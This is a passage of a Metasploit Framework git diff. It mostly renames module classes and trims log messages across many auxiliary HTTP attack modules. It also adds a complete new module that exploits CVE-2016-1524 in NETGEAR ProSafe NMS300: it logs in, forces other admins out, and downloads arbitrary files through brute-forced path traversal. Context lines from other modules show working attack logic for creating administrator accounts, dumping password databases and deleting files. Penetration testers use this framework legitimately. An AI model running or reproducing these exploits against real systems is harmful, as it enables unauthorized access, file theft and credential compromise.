server") + print_error("Failed to connect to the web server") return end end diff --git a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb index c1ad331aae..1ab5cca3ca 100644 --- a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb +++ b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb b/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb index 06f5ffceca..520a9b8c79 100644 --- a/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb +++ b/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -65,10 +65,10 @@ class Metasploit3 < Msf::Auxiliary # Yes, "sucess" is really mispelt, as is "Servelet" ... ! unless res && res.code == 200 && res.body && res.body.to_s =~ /sucess/ - print_error("#{peer} - Administrator account creation failed") + print_error("Administrator account creation failed") end - print_good("#{peer} - Created Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}") + print_good("Created Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}") service_data = { address: rhost, port: rport, diff --git a/modules/auxiliary/admin/http/manageengine_dir_listing.rb b/modules/auxiliary/admin/http/manageengine_dir_listing.rb index cf33a28787..6c3f67dcd8 100644 --- a/modules/auxiliary/admin/http/manageengine_dir_listing.rb +++ b/modules/auxiliary/admin/http/manageengine_dir_listing.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient @@ -154,7 +154,7 @@ class Metasploit3 < Msf::Auxiliary end if datastore['USERNAME'] && datastore['PASSWORD'] - print_status("#{peer} - Trying to authenticate as #{datastore['USERNAME']}/#{datastore['PASSWORD']}...") + print_status("Trying to authenticate as #{datastore['USERNAME']}/#{datastore['PASSWORD']}...") cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD']) unless cookie.nil? return cookie @@ -164,7 +164,7 @@ class Metasploit3 < Msf::Auxiliary default_users = ['guest', 'administrator', 'admin'] default_users.each do |user| - print_status("#{peer} - Trying to authenticate as #{user}...") + print_status("Trying to authenticate as #{user}...") cookie = authenticate_it360(uri[0], uri[1], user, user) unless cookie.nil? return cookie @@ -182,14 +182,14 @@ class Metasploit3 < Msf::Auxiliary end if detect_it360 - print_status("#{peer} - Detected IT360, attempting to login...") + print_status("Detected IT360, attempting to login...") cookie = login_it360 else cookie = get_cookie end if cookie.nil? - print_error("#{peer} - Failed to get application cookies!") + print_error("Failed to get application cookies!") return end @@ -205,7 +205,7 @@ class Metasploit3 < Msf::Auxiliary # Create request begin - print_status("#{peer} - Listing directory #{datastore['DIRECTORY']}") + print_status("Listing directory #{datastore['DIRECTORY']}") res = send_request_cgi({ 'method' => 'POST', 'cookie' => cookie, @@ -216,7 +216,7 @@ class Metasploit3 < Msf::Auxiliary } }) rescue Rex::ConnectionRefused - print_error("#{peer} - Could not connect.") + print_error("Could not connect.") return end @@ -234,7 +234,7 @@ class Metasploit3 < Msf::Auxiliary ) print_good("File with directory listing saved in: #{path}") else - print_error("#{peer} - Failed to list directory.") + print_error("Failed to list directory.") end end end diff --git a/modules/auxiliary/admin/http/manageengine_file_download.rb b/modules/auxiliary/admin/http/manageengine_file_download.rb index 49331f2752..a7c393952d 100644 --- a/modules/auxiliary/admin/http/manageengine_file_download.rb +++ b/modules/auxiliary/admin/http/manageengine_file_download.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient @@ -151,7 +151,7 @@ class Metasploit3 < Msf::Auxiliary end if datastore['USERNAME'] && datastore['PASSWORD'] - print_status("#{peer} - Trying to authenticate as #{datastore['USERNAME']}/#{datastore['PASSWORD']}...") + print_status("Trying to authenticate as #{datastore['USERNAME']}/#{datastore['PASSWORD']}...") cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD']) unless cookie.nil? return cookie @@ -161,7 +161,7 @@ class Metasploit3 < Msf::Auxiliary default_users = ['guest', 'administrator', 'admin'] default_users.each do |user| - print_status("#{peer} - Trying to authenticate as #{user}...") + print_status("Trying to authenticate as #{user}...") cookie = authenticate_it360(uri[0], uri[1], user, user) unless cookie.nil? return cookie @@ -179,10 +179,10 @@ class Metasploit3 < Msf::Auxiliary end if detect_it360 - print_status("#{peer} - Detected IT360, attempting to login...") + print_status("Detected IT360, attempting to login...") cookie = login_it360 if cookie.nil? - print_error("#{peer} - Failed to login to IT360!") + print_error("Failed to login to IT360!") return end else @@ -201,7 +201,7 @@ class Metasploit3 < Msf::Auxiliary # Create request begin - print_status("#{peer} - Downloading file #{datastore['FILEPATH']}") + print_status("Downloading file #{datastore['FILEPATH']}") res = send_request_cgi({ 'method' => 'POST', 'cookie' => cookie, @@ -212,7 +212,7 @@ class Metasploit3 < Msf::Auxiliary } }) rescue Rex::ConnectionRefused - print_error("#{peer} - Could not connect.") + print_error("Could not connect.") return end @@ -220,7 +220,7 @@ class Metasploit3 < Msf::Auxiliary if res && res.code == 200 if res.body.to_s.bytesize == 0 - print_error("#{peer} - 0 bytes returned, file does not exist or is empty.") + print_error("0 bytes returned, file does not exist or is empty.") return end @@ -236,7 +236,7 @@ class Metasploit3 < Msf::Auxiliary ) print_good("File saved in: #{path}") else - print_error("#{peer} - Failed to download file.") + print_error("Failed to download file.") end end end diff --git a/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb b/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb index 5fa29d0f9c..032c4d5db7 100644 --- a/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb +++ b/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -221,7 +221,7 @@ class Metasploit3 < Msf::Auxiliary def run unless check == Exploit::CheckCode::Appears - print_error("#{peer} - Fingerprint hasn't been successful, trying to exploit anyway...") + print_error("Fingerprint hasn't been successful, trying to exploit anyway...") end version = get_version @@ -233,7 +233,7 @@ class Metasploit3 < Msf::Auxiliary creds = inject_sql(version < 7000 ? true : false) username = creds[0] password = creds[1] - print_good("#{peer} - Created a new Super Administrator with username: #{username} | password: #{password}") + print_good("Created a new Super Administrator with username: #{username} | password: #{password}") cookie_su = login(username, password) @@ -241,10 +241,10 @@ class Metasploit3 < Msf::Auxiliary fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate as Super Administrator, account #{username} might not work.") end - print_status("#{peer} - Reporting Super Administrator credentials...") + print_status("Reporting Super Administrator credentials...") report_super_admin_creds(username, password) - print_status("#{peer} - Leaking Password database...") + print_status("Leaking Password database...") loot_passwords(cookie_su) end @@ -308,7 +308,7 @@ class Metasploit3 < Msf::Auxiliary if res && res.code == 200 && res.body && res.body.to_s.length > 0 vprint_line(res.body.to_s) - print_good("#{peer} - Successfully exported password database from Password Manager Pro.") + print_good("Successfully exported password database from Password Manager Pro.") loot_name = 'manageengine.passwordmanagerpro.password.db' loot_type = 'text/csv' loot_filename = 'manageengine_pmp_password_db.csv' @@ -320,9 +320,9 @@ class Metasploit3 < Msf::Auxiliary res.body, loot_filename, loot_desc) - print_status("#{peer} - Password database saved in: #{p}") + print_status("Password database saved in: #{p}") else - print_error("#{peer} - Failed to export Password Manager Pro passwords.") + print_error("Failed to export Password Manager Pro passwords.") end end end diff --git a/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb b/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb index 23df8b7b73..1fbc3bcf01 100644 --- a/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb +++ b/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -51,11 +51,11 @@ class Metasploit3 < Msf::Auxiliary end def run - print_status("#{peer} - Trying to login") + print_status("Trying to login") if login - print_good("#{peer} - Login successful") + print_good("Login successful") else - print_error("#{peer} - Login failed, review USERNAME and PASSWORD options") + print_error("Login failed, review USERNAME and PASSWORD options") return end @@ -69,7 +69,7 @@ class Metasploit3 < Msf::Auxiliary def read_file(file) - print_status("#{peer} - Copying file to Web location...") + print_status("Copying file to Web location...") dst_path = "/usr/jakarta/tomcat/webapps/ROOT/m/" res = send_request_cgi( @@ -86,12 +86,12 @@ class Metasploit3 < Msf::Auxiliary }) if res and res.code == 200 and res.body =~ /\{"success":true\}/ - print_good("#{peer} - File #{file} copied to #{dst_path} successfully") + print_good("File #{file} copied to #{dst_path} successfully") else - print_error("#{peer} - Failed to copy #{file} to #{dst_path}") + print_error("Failed to copy #{file} to #{dst_path}") end - print_status("#{peer} - Retrieving file contents...") + print_status("Retrieving file contents...") res = send_request_cgi( { @@ -101,9 +101,9 @@ class Metasploit3 < Msf::Auxiliary if res and res.code == 200 store_path = store_loot("mutiny.frontend.data", "application/octet-stream", rhost, res.body, file) - print_good("#{peer} - File successfully retrieved and saved on #{store_path}") + print_good("File successfully retrieved and saved on #{store_path}") else - print_error("#{peer} - Failed to retrieve file") + print_error("Failed to retrieve file") end # Cleanup @@ -111,7 +111,7 @@ class Metasploit3 < Msf::Auxiliary end def delete_file(file) - print_status("#{peer} - Deleting file #{file}") + print_status("Deleting file #{file}") res = send_request_cgi( { @@ -125,9 +125,9 @@ class Metasploit3 < Msf::Auxiliary }) if res and res.code == 200 and res.body =~ /\{"success":true\}/ - print_good("#{peer} - File #{file} deleted") + print_good("File #{file} deleted") else - print_error("#{peer} - Error deleting file #{file}") + print_error("Error deleting file #{file}") end end diff --git a/modules/auxiliary/admin/http/netflow_file_download.rb b/modules/auxiliary/admin/http/netflow_file_download.rb index 8e147f4927..43936f647b 100644 --- a/modules/auxiliary/admin/http/netflow_file_download.rb +++ b/modules/auxiliary/admin/http/netflow_file_download.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient @@ -46,21 +46,21 @@ class Metasploit3 < Msf::Auxiliary def run # Create request begin - print_status("#{peer} - Downloading file #{datastore['FILEPATH']}") + print_status("Downloading file #{datastore['FILEPATH']}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', 'CSVServlet'), 'vars_get' => { 'schFilePath' => datastore['FILEPATH'] }, }) rescue Rex::ConnectionError - print_error("#{peer} - Could not connect.") + print_error("Could not connect.") return end # Show data if needed if res && res.code == 200 if res.body.to_s.bytesize == 0 - print_error("#{peer} - 0 bytes returned, file does not exist or it is empty.") + print_error("0 bytes returned, file does not exist or it is empty.") return end vprint_line(res.body.to_s) @@ -73,9 +73,9 @@ class Metasploit3 < Msf::Auxiliary res.body, fname ) - print_good("#{peer} - File saved in: #{path}") + print_good("File saved in: #{path}") else - print_error("#{peer} - Failed to download file.") + print_error("Failed to download file.") end end end diff --git a/modules/auxiliary/admin/http/netgear_auth_download.rb b/modules/auxiliary/admin/http/netgear_auth_download.rb new file mode 100644 index 0000000000..0d4f97095a --- /dev/null +++ b/modules/auxiliary/admin/http/netgear_auth_download.rb @@ -0,0 +1,224 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'NETGEAR ProSafe Network Management System 300 Authenticated File Download', + 'Description' => %q{ + Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems. + The application has a file download vulnerability that can be exploited by an + authenticated remote attacker to download any file in the system.. + This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and updated MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2016-1524'], + ['US-CERT-VU', '777024'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'], + ['URL', 'http://seclists.org/fulldisclosure/2016/Feb/30'] + ], + 'DisclosureDate' => 'Feb 4 2016')) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [true, "Application path", '/']), + OptString.new('USERNAME', [true, 'The username to login as', 'admin']), + OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']), + OptString.new('FILEPATH', [false, 'Path of the file to download minus the drive letter', '/Windows/System32/calc.exe']), + ], self.class) + + register_advanced_options( + [ + OptInt.new('DEPTH', [false, 'Max depth to traverse', 15]) + ], self.class) + end + + def authenticate + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'), + 'method' => 'POST', + 'vars_post' => { + 'userName' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }, + 'vars_get' => { 'method' => 'login' } + }) + + if res && res.code == 200 + cookie = res.get_cookies + if res.body.to_s =~ /"loginOther":true/ && res.body.to_s =~ /"singleId":"([A-Z0-9]*)"/ + # another admin is logged in, let's kick him out + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'), + 'method' => 'POST', + 'cookie' => cookie, + 'vars_post' => { 'singleId' => $1 }, + 'vars_get' => { 'method' => 'loginAgain' } + }) + if res && res.code == 200 && (not res.body.to_s =~ /"success":true/) + return nil + end + end + return cookie + end + return nil + end + + + def download_file (download_path, cookie) + filename = Rex::Text.rand_text_alphanumeric(8 + rand(10)) + ".img" + begin + res = send_request_cgi({ + 'method' => 'POST', + 'cookie' => cookie, + 'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'), + 'vars_get' => { + 'method' => 'add' + }, + 'vars_post' => { + 'realName' => download_path, + 'md5' => '', + 'fileName' => filename, + 'version' => Rex::Text.rand_text_alphanumeric(8 + rand(2)), + 'vendor' => Rex::Text.rand_text_alphanumeric(4 + rand(3)), + 'deviceType' => rand(999), + 'deviceModel' => Rex::Text.rand_text_alphanumeric(5 + rand(3)), + 'description' => Rex::Text.rand_text_alphanumeric(8 + rand(10)) + }, + }) + + if res && res.code == 200 && res.body.to_s =~ /"success":true/ + res = send_request_cgi({ + 'method' => 'POST', + 'cookie' => cookie, + 'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'getPage.do'), + 'vars_get' => { + 'method' => 'getPageList', + 'type' => 'configImgManager', + }, + 'vars_post' => { + 'everyPage' => 500 + rand(999) + }, + }) + + if res && res.code == 200 && res.body.to_s =~ /"imageId":"([0-9]*)","fileName":"#{filename}"/ + image_id = $1 + return send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'), + 'method' => 'GET', + 'cookie' => cookie, + 'vars_get' => { + 'method' => 'export', + 'imageId' => image_id + } + }) + end + end + return nil + rescue Rex::ConnectionRefused + print_error("#{peer} - Could not connect.") + return + end + end + + + def save_file(filedata) + vprint_line(filedata.to_s) + fname = File.basename(datastore['FILEPATH']) + + path = store_loot( + 'netgear.http', + 'application/octet-stream', + datastore['RHOST'], + filedata, + fname + ) + print_good("File saved in: #{path}") + end + + def report_cred(opts) + service_data = { + address: rhost, + port: rport, + service_name: 'netgear', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + + def run + cookie = authenticate + if cookie == nil + fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.") + else + print_good("#{peer} - Logged in with #{datastore['USERNAME']}:#{datastore['PASSWORD']} successfully.") + report_cred( + user: datastore['USERNAME'], + password: datastore['PASSWORD'], + proof: cookie + ) + end + + if datastore['FILEPATH'].blank? + fail_with(Failure::Unknown, "#{peer} - Please supply the path of the file you want to download.") + return + end + + filepath = datastore['FILEPATH'] + res = download_file(filepath, cookie) + if res && res.code == 200 + if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/) + save_file(res.body) + return + end + end + + print_error("#{peer} - File not found, using bruteforce to attempt to download the file") + count = 1 + while count < datastore['DEPTH'] + res = download_file(("../" * count).chomp('/') + filepath, cookie) + if res && res.code == 200 + if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/) + save_file(res.body) + return + end + end + count += 1 + end + + print_error("#{peer} - Failed to download file.") + end +end diff --git a/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb b/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb index 9158af9b7e..311355c401 100644 --- a/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb +++ b/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -44,16 +44,16 @@ class Metasploit3 < Msf::Auxiliary end def run - print_status("#{peer} - Trying to access the configuration of the device") + print_status("Trying to access the configuration of the device") # extract device details action = 'urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo' - print_status("#{peer} - Extracting Firmware version...") + print_status("Extracting Firmware version...") extract_data(action) # extract credentials action = 'urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo' - print_status("#{peer} - Extracting credentials...") + print_status("Extracting credentials...") extract_data(action) end @@ -75,26 +75,26 @@ class Metasploit3 < Msf::Auxiliary return if res.headers['Server'] !~ /Linux\/2.6.15 uhttpd\/1.0.0 soap\/1.0/ if res.body =~ /(.*)<\/NewPassword>/ - print_status("#{peer} - Credentials found, extracting...") + print_status("Credentials found, extracting...") extract_credentials(res.body) end if res.body =~ /(.*)<\/ModelName>/ model_name = $1 - print_good("#{peer} - Model #{model_name} found") + print_good("Model #{model_name} found") end if res.body =~ /(.*)<\/Firmwareversion>/ firmware_version = $1 - print_good("#{peer} - Firmware version #{firmware_version} found") + print_good("Firmware version #{firmware_version} found") #store all details as loot loot = store_loot('netgear_soap_device.config', 'text/plain', rhost, res.body) - print_good("#{peer} - Device details downloaded to: #{loot}") + print_good("Device details downloaded to: #{loot}") end rescue ::Rex::ConnectionError - vprint_error("#{peer} - Failed to connect to the web server") + vprint_error("Failed to connect to the web server") return end end @@ -103,7 +103,7 @@ class Metasploit3 < Msf::Auxiliary body.each_line do |line| if line =~ /(.*)<\/NewPassword>/ pass = $1 - print_good("#{peer} - admin / #{pass} credentials found") + print_good("admin / #{pass} credentials found") service_data = { address: rhost, @@ -137,6 +137,6 @@ class Metasploit3 < Msf::Auxiliary # store all details as loot loot = store_loot('netgear_soap_account.config', 'text/plain', rhost, body) - print_good("#{peer} - Account details downloaded to: #{loot}") + print_good("Account details downloaded to: #{loot}") end end diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index 773973688e..c0636e47c6 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rapid7/nexpose' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb b/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb index 8a7c25a70e..166c1ddaad 100644 --- a/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb +++ b/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase message = md5 + record - print_status("#{peer} - Trying to delete #{datastore['RPATH']}...") + print_status("Trying to delete #{datastore['RPATH']}...") res = send_request_cgi( { @@ -57,9 +57,9 @@ class Metasploit3 < Msf::Auxiliary }, 5) if res and res.code == 200 and res.body =~ /1<\/VERSION>0<\/STATUS>0<\/TRANSID><\/RESULT>/ - print_good("#{peer} - File #{datastore['RPATH']} successfully deleted") + print_good("File #{datastore['RPATH']} successfully deleted") else - print_error("#{peer} - File not deleted") + print_error("File not deleted") end end diff --git a/modules/auxiliary/admin/http/openbravo_xxe.rb b/modules/auxiliary/admin/http/openbravo_xxe.rb index 8f7bacd0cf..b07c68631f 100644 --- a/modules/auxiliary/admin/http/openbravo_xxe.rb +++ b/modules/auxiliary/admin/http/openbravo_xxe.rb @@ -8,7 +8,7 @@ require 'rex' require 'net/dns' require 'rexml/document' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index 991b706893..52911870ca 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rexml/element' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/http/scrutinizer_add_user.rb b/modules/auxiliary/admin/http/scrutinizer_add_user.rb index 4f7a947b08..01194f368d 100644 --- a/modules/auxiliary/admin/http/scrutinizer_add_user.rb +++ b/modules/auxiliary/admin/http/scrutinizer_add_user.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/http/sophos_wpa_traversal.rb b/modules/auxiliary/admin/http/sophos_wpa_traversal.rb index d95a6c2802..8162fb9b44 100644 --- a/modules/auxiliary/admin/http/sophos_wpa_traversal.rb +++ b/modules/auxiliary/admin/http/sophos_wpa_traversal.rb @@ -6,7 +6,7 @@ require 'uri' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -72,7 +72,7 @@ class Metasploit3 < Msf::Auxiliary travs << file travs << "%00" - print_status("#{peer} - Retrieving file contents...") + print_status("Retrieving file contents...") res = send_request_cgi( { @@ -95,17 +95,17 @@ class Metasploit3 < Msf::Auxiliary end def run - print_status("#{peer} - Checking if it's a Sophos Web Protect Appliance with the vulnerable component...") + print_status("Checking if it's a Sophos Web Protect Appliance with the vulnerable component...") if is_proficy? - print_good("#{peer} - Check successful") + print_good("Check successful") else - print_error("#{peer} - Sophos Web Protect Appliance vulnerable component not found") + print_error("Sophos Web Protect Appliance vulnerable component not found") return end contents = read_file(datastore['FILEPATH']) if contents.nil? - print_error("#{peer} - File not downloaded") + print_error("File not downloaded") return end @@ -117,7 +117,7 @@ class Metasploit3 < Msf::Auxiliary contents, file_name ) - print_good("#{peer} - File saved in: #{path}") + print_good("File saved in: #{path}") end diff --git a/modules/auxiliary/admin/http/sysaid_admin_acct.rb b/modules/auxiliary/admin/http/sysaid_admin_acct.rb index be790a49dd..78a9a2cee8 100644 --- a/modules/auxiliary/admin/http/sysaid_admin_acct.rb +++ b/modules/auxiliary/admin/http/sysaid_admin_acct.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary }) if res && res.code == 200 && res.body.to_s =~ /Error while creating account/ # No way to know whether this worked or not, it always says error - print_status("#{peer} - The new administrator #{datastore['USERNAME']}:#{datastore['PASSWORD']} should be checked manually") + print_status("The new administrator #{datastore['USERNAME']}:#{datastore['PASSWORD']} should be checked manually") service_data = { address: rhost, port: rport, @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Auxiliary login_data.merge!(service_data) create_credential_login(login_data) else - print_error("#{peer} - Administrator account creation failed") + print_error("Administrator account creation failed") end end end diff --git a/modules/auxiliary/admin/http/sysaid_file_download.rb b/modules/auxiliary/admin/http/sysaid_file_download.rb index e11ccfc8ae..00ebbc8800 100644 --- a/modules/auxiliary/admin/http/sysaid_file_download.rb +++ b/modules/auxiliary/admin/http/sysaid_file_download.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient @@ -48,7 +48,7 @@ class Metasploit3 < Msf::Auxiliary end def get_traversal_path - print_status("#{peer} - Trying to find out the traversal path...") + print_status("Trying to find out the traversal path...") large_traversal = '../' * rand(15...30) servlet_path = 'getAgentLogFile' @@ -86,7 +86,7 @@ class Metasploit3 < Msf::Auxiliary }, }) rescue Rex::ConnectionRefused - print_error("#{peer} - Could not connect.") + print_error("Could not connect.") return end end @@ -97,7 +97,7 @@ class Metasploit3 < Msf::Auxiliary fail_with(Failure::BadConfig, 'Please supply the path of the file you want to download.') end - print_status("#{peer} - Downloading file #{datastore['FILEPATH']}") + print_status("Downloading file #{datastore['FILEPATH']}") if datastore['FILEPATH'] =~ /([A-Za-z]{1}):(\\*)(.*)/ file_path = $3 else @@ -106,7 +106,7 @@ class Metasploit3 < Msf::Auxiliary traversal_path = get_traversal_path if traversal_path.nil? - print_error("#{peer} - Could not get traversal path, using bruteforce to download the file") + print_error("Could not get traversal path, using bruteforce to download the file") count = 1 while count < 15 res = download_file(('../' * count) + file_path) diff --git a/modules/auxiliary/admin/http/sysaid_sql_creds.rb b/modules/auxiliary/admin/http/sysaid_sql_creds.rb index 7a219171e5..38d7e8b2a8 100644 --- a/modules/auxiliary/admin/http/sysaid_sql_creds.rb +++ b/modules/auxiliary/admin/http/sysaid_sql_creds.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'openssl' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient @@ -119,7 +119,7 @@ class Metasploit3 < Msf::Auxiliary fail_with(Failure::Unknown, 'Could not resolve database server hostname.') end - print_status("#{peer} - Stored SQL credentials #{username}:#{password} for #{matches.captures[2]}") + print_status("Stored SQL credentials #{username}:#{password} for #{matches.captures[2]}") return end else diff --git a/modules/auxiliary/admin/http/tomcat_administration.rb b/modules/auxiliary/admin/http/tomcat_administration.rb index b987960189..a01e9ce969 100644 --- a/modules/auxiliary/admin/http/tomcat_administration.rb +++ b/modules/auxiliary/admin/http/tomcat_administration.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanServer diff --git a/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb b/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb index ae1f0a6a32..bbe5f28383 100644 --- a/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb +++ b/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanServer diff --git a/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb b/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb index 5e5043da0e..043fb814b9 100644 --- a/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb +++ b/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/admin/http/typo3_sa_2009_001.rb b/modules/auxiliary/admin/http/typo3_sa_2009_001.rb index dd8fb6ca8c..89ab23faa7 100644 --- a/modules/auxiliary/admin/http/typo3_sa_2009_001.rb +++ b/modules/auxiliary/admin/http/typo3_sa_2009_001.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/http/typo3_sa_2009_002.rb b/modules/auxiliary/admin/http/typo3_sa_2009_002.rb index 